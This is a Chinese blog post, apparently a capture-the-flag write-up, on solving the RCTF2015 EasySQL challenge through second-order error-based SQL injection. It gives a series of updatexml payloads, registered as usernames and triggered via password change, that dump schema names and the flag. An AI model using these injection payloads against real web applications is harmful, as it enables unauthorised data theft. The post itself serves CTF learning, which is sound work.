当前位置:网站首页>[RCTF2015]EasySQL
[RCTF2015]EasySQL
2022-07-26 15:58:00 【白塔河冲浪手】
进入环境,有一个注册和登录功能

先随便注册一个账户

登录

随便点一个发现url可能存在注入

试了发现不行
去登录注册看看能不能注入

也不行,可能是二次注入,去重新注册一下

发现在改密码的地方会报错

有报错了,我们使用报错注入
重新注册用户
sjm"||updatexml(1,concat(0x7e,database(),1),1)#
改密码123为1234
报错得到数据库

再重新注册爆数据表
sjm"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#

爆flag表
sjm"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1)#

爆字段
sjm"||updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag))),1)#

假flag去users表看看
sjm"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1)#

爆real_flag_1s_her字段
sjm"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users))),1)#

显示没有这个字段,应该是前面没有把字段名字显示完全,用正则匹配
sjm"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1)#
再爆
sjm"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users))),1)#

flag应该在后面用正则匹配
sjm"||updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1)#
使用reverse函数翻转字符串
sjm"||updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1)#
反过来就是89-9b7f-46d3-acd4-732afd1243b7}
拼接起来
flag{4c0fe589-9b7f-46d3-acd4-732afd1243b7}
边栏推荐
- 山西阳泉一煤矿发生致1人死亡安全事故,被责令停产整顿
- kalibr标定realsenseD435i --多相机标定
- Pandora IOT development board learning (RT thread) - Experiment 17 esp8266 experiment (learning notes)
- 小哥自创AI防拖延系统,一玩手机就被“闪瞎” | Reddit高热
- 《硅谷之谜》读后感
- Change an ergonomic chair to relieve the old waist of sitting and writing code~
- 中金财富炒股安全吗 手续费最便宜的证券公司
- PAT甲级 1044 Shopping in Mars
- 想让照片中的云飘起来?视频编辑服务一键动效3步就能实现
- 可信隐私计算框架“隐语”开源专家观点集锦
猜你喜欢

换把人体工学椅,缓解久坐写代码的老腰吧~

【ARM学习(9) arm 编译器了解学习(armcc/armclang)】

PS + PL heterogeneous multicore case development manual for Ti C6000 tms320c6678 DSP + zynq-7045 (2)

kalibr标定realsenseD435i --多相机标定

数智转型,管理先行|JNPF全力打造“全生命周期管理”平台

一文详解 Redis 中 BigKey、HotKey 的发现与处理

提问征集丨快来向NLLB作者提问啦!(智源Live第24期)

Sklearn clustering clustering
.net get injection object manually

SAP ABAP Netweaver 容器化的一些前沿性研究工作分享
随机推荐
如何通过ETL调度工具 TASKCTL 使用作业插件类型调用 kettle作业?
We were tossed all night by a Kong performance bug
Specific practice cases of "card note taking method" in Siyuan
2022年最新北京建筑安全员模拟题库及答案
基于NoCode构建简历编辑器
Clojure 运行原理之字节码生成篇
操作系统迁移实战之在openEuler上部署MySQL数据库
Quanzhi a40i industrial core board, 100% domestic 4-core arm cortex-a7, supports "dual screen abnormal display" [display interface capability, preferred scheme for industrial HMI]
教大模型自己跳过“无用”层,推理速度×3性能不变,谷歌MIT这个新方法火了...
[tool sharing] automatic generation of file directory structure tool mddir
开发日常小结(11):文件上传功能改进:中文字符检测与文本内容处理
Musk was exposed to be the founder of Google: he broke up his best friend's second marriage and knelt down to beg for forgiveness
阿里云DMS MySQL云数据库建表报错,求解!!
PAT甲级 1050 String Subtraction
ROS问题及解决方案——依赖包安装以及无法修正错误
2022你的安全感是什么?沃尔沃年中问道
什么是GPIO,它有什么用
提问征集丨快来向NLLB作者提问啦!(智源Live第24期)
我们被一个 kong 的性能 bug 折腾了一个通宵
初识OpenGL (3)片段着色器(Fragment Shader)